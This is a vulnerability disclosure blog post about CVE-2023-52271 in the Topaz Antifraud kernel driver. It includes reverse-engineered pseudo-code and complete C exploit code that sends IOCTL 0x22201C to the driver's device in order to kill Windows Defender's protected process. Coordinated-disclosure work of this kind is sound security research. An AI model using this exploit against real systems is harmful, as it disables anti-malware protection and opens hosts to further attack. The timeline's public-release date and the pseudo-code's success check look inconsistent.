Skip to content
arrow-alt-circle-up icon

Cyber Incident Call

arrow-alt-circle-up icon

00800 1744 0000

arrow-alt-circle-up icon

During recent kernel driver research, Northwave identified a vulnerability in Topaz Antifraud. The vulnerability can be utilised to make a new implementation of Blackout; a tool to kill anti-malware protected processes. The vulnerability has been assigned CVE-2023-52271.

Topaz Antifraud

We came across the installer of the software during kernel driver harvesting. The installer is a PE-file which, after completion, drops a kernel driver to disk and installs it. After a reboot of the machine, the kernel driver is automatically started. The kernel driver creates a device which is readable and writable by any user on the system, which is why it’s interesting to look at from an exploitation perspective. Accessible devices like these maybe abused by (low-privileged) users on a system, to perform kernel exploitation. However, this requires a vulnerability to be present in the driver.

Vulnerability

Device control

Loading the IDA driver presents us with a DriverEntry function. A few functions deeper, the MajorFunction array of the DRIVER_OBJECT is initiated.

memset64(Driver->MajorFunction, (unsigned __int64)IRP_MJ_ANY_AlwaysFails, 0x1Bui64);
Driver->MajorFunction[0] = (PDRIVER_DISPATCH)IRP_MJ_CREATE_AND_CLEANUP_AlwaysSuccess;
Driver->MajorFunction[14] = (PDRIVER_DISPATCH)IRP_MJ_DEVICE_CONTROL;
Driver->MajorFunction[2] = (PDRIVER_DISPATCH)IRP_MJ_CLOSE;
Driver->MajorFunction[18] = (PDRIVER_DISPATCH)IRP_MJ_CREATE_AND_CLEANUP_AlwaysSuccess;

The first memset initiates all major function callbacks to a function that always calls IofCompleteRequest with a failure status. Then several other callbacks are set.

  • MajorFunction[0]: IRP_MJ_CREATE & IRP_MJ_CLEANUP (always call IofCompleteRequest with a success status)
  • MajorFunction[14]: IRP_MJ_DEVICE_CONTROl (dispatch function for IOCTL’s)
  • MajorFunction[2]: IRP_MJ_CLOSE (removes the created device and completes with a success status)
  • MajorFunction[18]: IRP_MJ_CREATE_AND_CLEANUP (always calls IofCompleteRequest with a success status)

There are no further requirements in IRP_MJ_CREATE, and the device ACL contains an ACE which allows any user on the system read and write access. Thus, any user on the system can send IOCTLs.

Vulnerable IOCTL

The IRP_MJ_DEVICE_CONTROL callback contains a common IOCTL switch statement, which can be quickly identified if you are familiar with IDA’s graph overview. There are several IOCTL’s defined. Most do not seem to be vulnerable, except the last one in the code: IOCTL 0x22201C.

This IOCTL seems to obtain a DWORD from the SystemBuffer. After some buffer manipulation, this DWORD is then passed on as an argument to a sub-function. This sub-function does a checksum verification if a certain flag is true, but the flag is false by default, allowing is to bypass this functionality.

The sub-function then calls another function, with only the DWORD from the SystemBuffer as parameter. This function is pretty straightforward, and some of its pseudo-code has been included below.

NTSTATUS TerminateProcessByID(unsigned int ProcessID)
{
   NTSTATUS ReturnStatus;
   HANDLE ProcessHandle = 0;
   OBJECT_ATTRIBUTES ObjectAttributes;
   ObjectAttributes.Length = 0x30;
   ObjectAttributes.Attributes = 0x202;

   QWORD ClientID[2];
   ClientID[0] = ProcessID;   // UniqueProcess
   ClientID[1] = 0;           // UniqueThread

   ReturnStatus = ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, ClientID);

   if (ReturnStatus != STATUS_SUCCESS && ProcessHandle)
   {
       ReturnStatus = ZwTerminateProcess(ProcessHandle, 0);
       ZwClose(ProcessHandle);
   }

   return ReturnStatus;
}

Obviously, there is a vulnerability which allows the termination of a process, by a handle which is opened based on the DWORD from the SystemBuffer. This immediately reminded me of Blackout, a tool which levareges IOCTLs of which the SystemBuffer ends up in ZwTerminateProcess, to kill Microsoft Defender (Protected Process Light) by calling the IOCTL in a for loop. As there are no constraints in this IOCTL whatsoever, it’s fairly easy to build an exploit, similar to Blackout, that kills Microsoft Defender or any other Protected Process Light (PPL) process.

Exploit

Find process ID by image name

First, we need to write a function that finds the Windows Defender process ID by image name. I’ve included a function below. This function utilises a snapshot of all processes in the system, and searches for the target process based on its name. It is based on this piece of code, from @cocomelonckz.

/**
* Find a process ID by process name.
*
* @param char* processName The name of the process to search for.
* @param DWORD* processID Output parameter for the ID of the process.
* @return bool Positive if PID was found succesfully.
*/
DWORD FindProcessID(char* processName, DWORD* processID) {
   PROCESSENTRY32 processEntry;
   HANDLE hSnapshot;
   BOOL hResult;

   *processID = -1;

   hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   if (hSnapshot == INVALID_HANDLE_VALUE) {
       return false;
   }

   processEntry.dwSize = sizeof(PROCESSENTRY32);
   hResult = Process32First(hSnapshot, &processEntry);

   while (hResult) {
       if (strcmp(processName, processEntry.szExeFile) == 0) {
           *processID = processEntry.th32ProcessID;
           break;
       }

       hResult = Process32Next(hSnapshot, &processEntry);
   }

   CloseHandle(hSnapshot);
   return *processID != -1;
}

We can call this function as follows:

/**
* Kill Windows Defender from kernel mode.
*
* @param int argc Amount of arguments in argv.
* @param char** Array of arguments passed to the program.
*/
void main(int argc, char** argv) {
   // Find Windows Defender process
   DWORD* dProcessID = calloc(1, sizeof(DWORD));
   if (!FindProcessID("MsMpEng.exe", dProcessID)) {
       puts("[!] Could not find PID of Windows Defender.");
       return;
   }
}

Open handle to driver device

Then, we need to open a handle to the vulnerable driver device. This can be done using CreateFile.

/**
* Kill Windows Defender from kernel mode.
*
* @param int argc Amount of arguments in argv.
* @param char** Array of arguments passed to the program.
*/
void main(int argc, char** argv) {
   // Find Windows Defender process
   DWORD* dProcessID = calloc(1, sizeof(DWORD));
   if (!FindProcessID("MsMpEng.exe", dProcessID)) {
       puts("[!] Could not find PID of Windows Defender.");
       return;
   }

   // Open a handle to the driver device
   HANDLE hDevice = CreateFile("\\\\.\\Warsaw_PM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   if (hDevice == INVALID_HANDLE_VALUE) {
       puts("[!] Failed to open handle, check if driver is running with winobj.");
       PrintLastError();
       return;
   }
}

Trigger process termination

The final step is to trigger the IOCTL and send the Windows Defender process ID with it. This can be achieved with the following function.

/**
* TerminateProcessFromKernel routine terminates a process and all of its threads.
*
* @param HANDLE hDevice The handle of the device to talk to.
* @param DWORD dProcessID The ID of the process to terminate.
*/
void TerminateProcessFromKernel(HANDLE hDevice, DWORD dProcessID) {
   size_t SystemBufferLength = 0x304 * 8;
   uint64_t* SystemBuffer = calloc(SystemBufferLength, sizeof(uint8_t));
   uint32_t lpBytesReturned;

   if (!DeviceIoControl(hDevice, 0x22201C, SystemBuffer, SystemBufferLength, SystemBuffer, SystemBufferLength, &lpBytesReturned, NULL)) {
       puts("[!] DeviceIoControl error.");
       PrintLastError();
   } else {
       puts("[+] Triggered IOCTL 0x22201C.");
   }
}

Our main function needs to be extended to call this function.

/**
* Kill Windows Defender from kernel mode.
*
* @param int argc Amount of arguments in argv.
* @param char** Array of arguments passed to the program.
*/
void main(int argc, char** argv) {
   // Open a handle to the driver device
   HANDLE hDevice = CreateFile("\\\\.\\Warsaw_PM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   if (hDevice == INVALID_HANDLE_VALUE) {
       puts("[!] Failed to open handle, check if driver is running with winobj.");
       PrintLastError();
       return;
   }

   // Find Windows Defender process
   DWORD* dProcessID = calloc(1, sizeof(DWORD));
   if (!FindProcessID("MsMpEng.exe", dProcessID)) {
       puts("[!] Could not find PID of Windows Defender.");
       return;
   }

   // Kill Windows Defender
   TerminateProcessFromKernel(hDevice, *dProcessID);
}

Demo

 

Timeline

  • 11-09-2023 - Initial notice to Topaz and request for security contact.
  • 12-09-2023 - First reply from Topaz requesting more information.
  • 13-09-2023 - Sent full vulnerability details to Topaz.
  • 18-09-2023 - Topaz notified Northwave of vulnerability triage.
  • 10-10-2023 - Topaz notified Northwave of remediation planning.
  • 10-10-2023 - Topaz released a patch for the vulnerability.
  • 01-01-2024 - Mitre assigned CVE-2023-52271.
  • 20-02-2023 - Public release.

Impacted Versions

At least the following version is affected (and likely also lower versions).

    • Topaz Antifraud wsftprm.sys 2.0.0.0
      • Installer MD5: 88b0ed47380636f93f0709074a804a5b
      • Driver MD5: 2f4b5a0d98bc4e5616f2dd04337ae674
{      "type": "info" }